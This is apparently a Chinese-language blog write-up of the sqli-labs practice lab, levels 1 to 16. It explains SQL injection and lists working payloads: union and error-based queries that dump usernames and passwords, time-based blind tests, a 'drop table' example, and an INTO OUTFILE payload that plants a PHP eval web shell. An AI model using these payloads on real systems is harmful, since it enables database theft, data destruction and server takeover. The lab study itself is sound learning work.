SQL注入学习——sqli-labs闯关(Basic Challenges)

前言

今天开始学习 SQL 注入的相关知识,通过 sqli-labs 靶场来练习。靶场地址

一、漏洞介绍

1、什么是SQL注入?

SQL注入(SQL Injection)是一种常见的 Web 安全漏洞,攻击者通过构造SQL语句与后台数据库进行交互,达到获取或修改一些敏感数据,或者利用潜在的数据库漏洞进行攻击的目的。

2、SQL注入原理:

SQL注入是发生于 Web 应用与数据库层的安全漏洞,漏洞的本质是代码和数据未分离,通过在用户可控参数中注入SQL语句,若程序未对输入的指令进行合法性判断,注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行,达到编写程序时意料之外结果的攻击行为。

例:

下图是一个正常的登录表单,输入正确的账号和密码后,程序会查询数据库,如果存在此用户并且密码正确,将会成功登录;如果用户不存在或者密码不正确,则会提示账号或者密码错误。

接下来使用一个比较特殊的用户 1' or 1=1# 登录,输入用户名:1’ or 1=1#,密码可以随意填写或者不写,点击“登录”按钮后,发现是可以正常登录的。
在这里插入图片描述
为什么密码随意输入都可以进入后台呢?数据库里并没有 1’ or 1=1# 这个用户,难道是程序出错了吗?

通过分析SQL语句,发现最终执行的SQL语句为:

select * from user where username='$name' and password='$pass';

当输入这个特殊用户 1’ or 1=1# 时,最终执行的SQL语句为:

select * from user where username='1' or 1=1# and password=''

此时的#后面的 password 根本起不了任何作用,因为它已经被注释了,而且 username='1' or 1=1这条语句永远为真,那么最终执行的SQL语句相当于:

select * from user //查询user表所有的数据条数

很显然,返回条数大于0,所以可以顺利通过验证,登录成功。这就是一次最简单的SQL注入过程。虽然过程很简单,但其危害却很大,比如,在用户名位置处输入以下SQL语句:

1'or 1=1;drop table user#

因为 SQL Server 支持多语句执行,所以这里可以直接删除 user 表。

由此可得知,SQL注入漏洞的形成原因就是:用户输入的数据被SQL解释器执行。

3、注入漏洞分类:

在测试注入漏洞之前,首先要弄清楚一个概念:注入的分类,明白了分类之后,再测试注入将起到事半功倍的效果。

常见的SQL注入类型包括:数字型字符型。也有人把类型分得更多、更细。但不管注入类型如何,攻击者的目的只有一点,那就是绕过程序限制,使用户输入的数据带入数据库执行,利用数据库的特殊性获取更多的信息或者更大的权限。

1、数字型注入

当输入的参数为整型时,如:ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入,数字型注入是最简单的一种。假设有URL http://www.xxx.com/test.php?id=3,可以猜测SQL语句为:

select * from table where id=3

测试步骤如下:

1、加单引号,URL:http://www.xxx.com/test.php?id=3’

对应的SQL:select * from table where id=3' 这时SQL语句出错,程序无法正常从数据库中查询出数据,就会抛出异常。

2、加and 1=1 ,URL:http://www.xxx.com/test.php?id=3 and 1=1

对应的SQL:select * from table where id=3 and 1=1 语句执行正常,返回数据与原始请求无任何差异。

3、加and 1=2,URL:http://www.xxx.com/test.php?id=3 and 1=2

对应的SQL:select * from table where id=3 and 1=2 语句执行正常,但却无法查询出数据,因为and 1=2始终为假。所以返回数据与原始请求有差异。

如果以上三个步骤全部满足,则程序就可能存在数字型SQL注入。

2、字符型注入

当输入的参数为字符串时,称为字符型。数字型与字符型注入的最大区别在于:数字型不需要单引号来闭合,而字符串类型一般要使用单引号来闭合的。

  • 数字型语句:select * from table where id =3

  • 字符型语句:select * from table where username ='admin'

字符型注入最关键的是如何闭合SQL语句以及注释多余的代码。

当查询内容为字符串时 select * from table where username ='admin'

测试步骤:

1、加单引号:select * from table where username ='admin'',由于加单引号后变成三个单引号,无法执行,程序会报错。

2、加and 1=1(或者1=2) 此时SQL语句为:select * from table where username='admin and 1=1' ,也无法进行注入,因为admin and 1=1会被数据库当作查询的字符串。这时想要进行注入,则必须注意字符串闭合问题。

3、加'and 1=1--+(and 前面的单引号闭合'admin'--注释后面的单引号 )就可以继续注入,SQL语句如下:

select * from table where username ='admin' and 1=1--+'

当输入'and 1=2--+ 时,就和上面数字型同理,语句执行正常,但却无法查询出数据。

总结:数字型注入不需要闭合单引号以及注释;字符型注入必须闭合单引号以及注释多余的代码。

补充:

Mysql常用注释符:

  • --:注意,这种注释符后边有一个空格,通常写为--++会在传递中变成空格
  • #:通过#进行注释,URL编码为%23

3、其它分类

总的来说,SQL注入只分为 “数字型” 与 “字符型”,因为对数据库进行数据查询时,输入数据一般只有两种:一个是数字类型,比如 where id=1、where age > 20,另外是一个字符串类型,比如 where name=‘root’、where datetime > ‘2013-08-18’。

可能不同的数据库语法上存在差异,但带入数据库查询时一定是数字或字符串。所以无论是POST注入,还是其类型注入,都可归纳为数字型注入或者字符型注入。

那么Cookie注入、POST注入等是怎么回事呢?其实这类注入主要通过注入的位置来分辨,比如有以下请求:
在这里插入图片描述
此时为POST 请求,但是POST数据中的username字段存在注入漏洞,一般都会直接说POST注入,却不再考虑username是什么类型的注入,如果此时的HTTP请求如下:
在这里插入图片描述
那么是否又应该叫做GET注入呢?

以下是一些常见的注入叫法:

  • POST注入:注入字段在 POST 数据中

  • Cookie注入:注入字段在Cookie数据中

  • 延时注入:使用数据库延时特性注入

  • 搜索注入:注入处为搜索的地点

  • base64注入:注入字符串需要经过base64加密

🆗,了解了这些基础知识后就开始练习吧!

二、靶场练习

在这里插入图片描述

基础知识:

在开始注入之前,还需要知道一些关于 Mysql 的基础知识。

1)系统函数:

  • version()——Mysql版本
  • user()——数据库用户名
  • database()——数据库名
  • @@datadir——数据库路径
  • @@basedir——获取安装路径
  • @@version_compile_os——操作系统版本

2)字符串连接函数:

  • concat(str1,str2,…) —— 没有分隔符地连接字符串
    例:concat_ws('11','22','33')112233

  • concat_ws(separator,str1,str2,…) —— 含有分隔符地连接字符串,第一个参数是其它参数的分隔符。
    例:concat_ws(':','11','22','33')11:22:33

  • group_concat(str1,str2,…) —— 使多行数据在一行显示,并以逗号分开

简单来说使用这三个函数的目的就是:能一次性查出多条信息。

3)常见的闭合符号:

	  $id
	 '$id'
	 "$id"
	 ($id)
	('$id')
	("$id")
   (('$id'))

4)系统数据库 information_schema,存储着所有的数据库的相关信息,里面有三张表:

  • information_schema.schemata:包含所有库 库名的表
    常用字段:schema_name 数据库名

  • information_schema.tables:包含所有库 表名的表
    常用字段:table_name 表名;table_schema 数据库名

  • information_schema.columns:包含所有库 表字段的表
    常用字段:column_name 列名;table_schema 数据库名;table_name 表名

一般的,我们利用该表可以进行一次完整的注入,流程如下:

猜数据库

select schema_name from information_schema.schemata

猜某库的数据表

select table_name from information_schema.tables where table_schema=’xxxxx’

猜某表的所有列

select column_name from information_schema.columns where table_schema='xxx' and table_name=’xxxxx’

获取某列的内容

Select *** from ***

好的,正式开始吧!


Less1 基于错误的GET单引号字符型注入

先来确定是什么类型的注入,在http://127.0.0.1/sqli-labs/Less-1?id=1后面添加一个'
在这里插入图片描述
发现报错了,说明我们添加的单引号被数据库成功解析,就可能存在注入。接下来输入?id=1 and 1=2,发现页面没有变化,可以判断不是数字型注入。
在这里插入图片描述


PS:这里可能会有疑问,为什么id='1 and 1=2'还可以正常查询出数据?最直接的办法就是自己测试一下,如图:

经过测试,得出的结论是:在 select 查询时,程序会忽略后面的字符串,只让id与第一个字符进行对比,如果存在即返回数据。


接着输入'and 1=2 %23后页面发生变化,确定为字符型注入,并且闭合符号为单引号。

看下源码:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

确实是单引号,确定注入的类型后,我们就可以构造相应的的SQL语句进行攻击了。

这时需要用到联合查询的方式来获取想要的信息,使用联合查询的前提是 union 后面的 select 语句必须和前面查询的列的数量、顺序、类型相同,否则数据库会报错,所以需要先查字段数。

确定字段数可以使用 order by,即通过排序的方式测出字段数:

从1开始依次测试,当按第4列数据进行排序时报错了

http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 4 %23

在这里插入图片描述
说明有三个字段,那么现在开始联合查询:

http://127.0.0.1/sqli-labs/Less-1/?id=1' union select 1,2,3%23

在这里插入图片描述

PS:select可以直接加数字串,不写后面的表名,它输出的内容就是我们select后的数字,这时select实际上没有向任何一个数据库查询数据,即查询命令不指向任何数据库的表。通常用来快速测试显示位。

先来看下这条SQL语句在数据库的执行情况:
在这里插入图片描述
程序在展示数据的时候通常只会取结果集的第一行,所以我们需要把前面的查询结果集变为空,这样才能显示我们想要的结果,同时又需要确定哪几个字段会被显示在页面上,这里令id=-1也可以直接在后面添加and 1=2两种方式都可以。再次测试:
在这里插入图片描述
可以看到2,3字段被显示出来,也就是说我们要在2或3字段上查询数据。🆗,知道了这些之后就可以真正开始SQL注入了!

1、爆数据库

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

在这里插入图片描述
成功得到所有的数据库!

2、查看当前数据库
在这里插入图片描述
可以看到数据库名为:security,接着再查其他信息。

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,concat_ws(' : ',user(),database(),version())--+

在这里插入图片描述
OK,得到这些信息之后我们再来看看数据库有哪些表。

3、爆当前数据库的表

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

在这里插入图片描述
可以看到有四张表,我们想要的用户信息通常在 users表中。

4、爆users列名

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

这里需要注意指定 table_schema 字段,因为 users 表非常容易出现重复!
在这里插入图片描述
终于看到我们梦寐以求的 password 了!得到字段后接爆用户数据。

5、爆数据

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from security.users --+

如果只有一个显示位可以改为:?id=-1' union select 1,2,group_concat(username,' : ',password) from security.users--+

注意:因 users 表存在重复问题,最好加上数据库(又是一个小细节!)
在这里插入图片描述
也可以单独爆一个用户:

http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,username,password from security.users where id=2 --+

在这里插入图片描述
🆗,第一关到此圆满结束!!

Less2 基于错误的GET数字型注入

和上题思路一样,加单引号报错,加and 1=2 程序执行正常,但却无法查询出数据,那么就确定是数字型SQL注入了。
在这里插入图片描述看下源码

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

确实是数字型,🆗,剩下的就和第一关一样,可以随意爆数据了。
在这里插入图片描述

Less3 基于错误的GET单引号变形注入

加单引号,页面报错
在这里插入图片描述
根据报错消息可以推断出闭合符号为('$id'),测试 1') --+
在这里插入图片描述
程序执行正常,然后就可以进行注入了。
在这里插入图片描述
其余的 payload 与 less1 中一致,只需要 '改为')

Less4 基于错误的GET双引号注入

同样的思路,先加单引号,然而发现没有报错,再用双引号测试,发现报错了
在这里插入图片描述
根据报错信息,推断出闭合符号应该是:("$id"),测试:1") --+
在这里插入图片描述然后就可以注入了,其余同上。


盲注介绍:

何为盲注?盲注就是在 sql 注入过程中,sql 语句执行后,查询的数据不能回显到前端页面上。此时,我们需要利用一些特殊的方法来得到数据,这个过程称之为盲注。盲注主要分为三类:

  • 基于布尔的 SQL 盲注

  • 基于时间的 SQL 盲注

  • 基于报错的 SQL 盲注

因为这块内容较多,具体方法在下面的题目中详细讲解。


Less5 基于报错的GET单引号盲注

输入?id=1
在这里插入图片描述
没有显示数据,这是咋回事?看一下源码:

if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	echo '<font size="3" color="#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	}

可以看到程序并没有将 $row 这个查询结果输出,即正确结果没有回显,但是错误信息还是会显示。页面没有显示位,所以无法使用联合查询。

先来确定注入类型,加单引号报错,加 and 1=2 页面没有变化,即非数字型,加'and 1=2--+后页面发生变化,确定为字符型注入,并且闭合符号为单引号。
在这里插入图片描述
根据题目名字:双注入,查了一些大佬的文章之后终于明白了,双注入即 报错注入,利用嵌套查询来实现,形式为:select…(select…),里面的 select 被称为子查询,执行顺序是先执行子查询,然后再执行外面的 select。

双注入主要涉及到了下面几个SQL函数:

rand()   随机函数,返回0~1之间的一个值
floor(a) 取整函数,返回小于等于a的一个整数,没有四舍五入
count()  聚合函数
group by 分组函数

详解请看这篇文章:双注入详解

双注入的原理总的来说就是:当一个聚合函数 count 后面出现 group by 分组语句时,会将查询的一部分结果以报错的形式返回,它有一个固定的公式。

构造sql语句:

Less-5/?id=-1' union select count(*),2,concat('*',(select database()),'*',floor(rand()*2))as a from information_schema.tables group by a--+  //这里我们给查询的数据起了另一个名:a

在这里插入图片描述
OK得到数据库了,然后就可以以同样地方式得到其他信息。

获取表名:

?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

在这里插入图片描述
查询用户信息:

?id=-1' union select count(*),2,concat('*',(select concat_ws(char(32,44,32),id,username,password) from users limit 1,1),'*',floor(rand()*2))as a from information_schema.tables group by a--+  

在这里插入图片描述
第五关结束。

Less6 基于报错的GET双引号盲注

与上关是同一类型,这关使用的是双引号闭合,其余过程与前面类似,不再赘述。

Less7 导出文件GET字符型注入

输入?di=1
在这里插入图片描述
还是没有显示数据,接着输入?id=1'
在这里插入图片描述
页面报错,说明可能存在注入,输入?id=1 and 1=2
在这里插入图片描述
回显正常,说明不是数字型注入。

输入?id=1'--+,显示报错,继续输入?id=1')--+页面仍然报错, 多次尝试1' 1" 1') 1") 1')) 最后发现是1')),页面显示正常了。
在这里插入图片描述
查看下源码:

if($row)
	{
  	echo '<font color= "#FFFF00">';	
  	echo 'You are in.... Use outfile......';
  	echo "<br>";
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	echo 'You have an error in your SQL syntax';

看到正常回显都是 You are in… Use outfile…,报错信息统一返回 You have an error in your SQL syntax

同时他也给出了提示:use outfile 也就是说需要使用 outfile 函数:

outfile 函数的作用就是将数据库的查询内容导出到一个外部文件

语法:select...into outfile 'file_name'

可以把被选择的行写入一个文件中,前提是要拥有 file 权限才能使用。file_name 不能是一个已经存在的文件。

现在还不知道数据库的路径,可以借助前面几关来获取数据库的路径:@@basedir 获取安装路径

http://localhost/sqli-labs/Less-1/?id=-1‘ union select 1,2,@@basedir --+

在这里插入图片描述
这样我们就可以知道网站应该是在C:/phpStudy/WWW/下,尝试写入一句话木马 ,构造代码:

?id=-1')) union select 1,"<?php @eval($_POST['smk']);?>",3 into outfile "C:\\phpStudy\\WWW\\123.php" --+

注意:这里要用双反斜杠\\,否则建立出来的文件名会加前缀。

在这里插入图片描述
页面回显错误,不过不用管,查看一下文件夹,可以看到文件已将写入目录下了,打开菜刀,右键添加 http://127.0.0.1/123.php 地址填入你上传文件的地址,后面的小方框中填入你构造的密码,也就是smk
在这里插入图片描述
连接成功,然后就可以为所欲为了,嘿嘿嘿。
在这里插入图片描述
真实场景中目的主要是获得数据库管理员信息,先找到 index.php 文件,寻找其中sql连接语句。
在这里插入图片描述
顺藤摸瓜,找到 sql-connect.php 文件
在这里插入图片描述
打开 db-creds.inc
在这里插入图片描述
就可以获得数据库管理员信息了!

Less8 布尔型GET单引号盲注

这关内容稍多,所以单独拿出来了,详情请看这篇文章:文章链接

同时这关也可以使用导出文件,菜刀连接的方法做,步骤和上题一样,这里给出payload:

?id=1' union select 1,"<?php @eval($_POST['smk']);?>",3 into outfile "C:\\phpStudy\\WWW\\123.php" --+

Less9 基于时间的GET单引号盲注

这关内容也很多,本关链接

Less10 基于时间的GET双引号盲注

与上关是同一类型,这关使用的是双引号闭合,其余过程与前面类似,不再赘述。

Less11 基于错误的POST单引号注入

从这一关开始,我们就进入到 post 注入的世界了。
在这里插入图片描述
先在 username 输入admin',password 空着,返回错误信息:
在这里插入图片描述
从错误信息可知在 username 处应该有注入点,并且可能为单引号闭合类型。

尝试万能语句admin' or 1=1#
在这里插入图片描述
发现登陆成功,而且用户默认为 dumb,确定为单引号闭合的字符型注入。

老样子,order by 确定列数,测得为2:
在这里插入图片描述
接着就开始爆破数据库、表名、列名。

1、数据库名:

在 username 栏输入:

1' union select 1,database()#

注意:post类型要用 # ,--+不能用

密码随便填
在这里插入图片描述
得到数据库名。

2、表名:

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

在这里插入图片描述
3、列名:

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#

在这里插入图片描述

4、爆破用户名、密码

1' union select group_concat(username),group_concat(password) from security.users#

在这里插入图片描述

Less12 基于错误的POST双引号变形注入

先尝试 admin',页面无变化,应该不是单引号字符注入。尝试 admin",发现报错了。
在这里插入图片描述
从报错信息可知闭合方式为(""),再测试代码 admin") or 1=1#,密码随便,登录成功:
在这里插入图片描述
接下来就是爆数据库名、表名、列名、用户名以及密码,和第十一关一样,在此不再赘述。

Less13 基于报错的POST单引号变形盲注

Less14 基于报错的POST双引号盲注

和上关类似,这关使用的是双引号闭合,只需修改为admin"即可。

Less15 基于时间的单引号POST盲注

尝试admin'admin"),发现没有回显报错信息,页面也没有任何变化,那么 bool 盲注就无法使用,那就只能说明可能为时间盲注。

多次测试,当输入下面代码时

admin' and sleep(5)#

时间延迟了5秒,确定闭合符号为单引号:

注意:这里不能使用1' and sleep(5)#,因为前面的GET型中我们知道?id=1这个条件本来就是true,而我们测试POST型的 username 为1,这个条件本身为 false,因为数据库没有这个用户,逻辑符是and:一假则假,所以不能使用。这里是知道存在用户 admin 直接用了。

如果不知道用户名可以使用万能语句进行测试,当输入1' or 1=1#时,登陆成功,页面变化了,说明闭合符号就是单引号。

在这里插入图片描述

测试数据库名:

admin' and if(substr((select database()),1,1)='s',sleep(5),1)#

页面经过5s后响应,得到数据库第一位,接下来按部就班进行爆破,与前面 less9 类似,在此不再赘述。

Less16 基于时间的双引号POST盲注

和上关一样,区别是这关使用的双引号闭合,只需修改为admin"即可。

admin" and if(substr((select database()),1,1)='s',sleep(5),1)#

Less17 基于错误的更新查询POST注入

在这里插入图片描述

Less18 基于错误的用户代理,头部POST注入

Less19 基于头部的Referer POST报错注入

Less20 基于错误的cookie头部POST注入

posted @ 2022-02-19 22:21  未完成的歌QAQ  阅读(182)  评论(0编辑  收藏  举报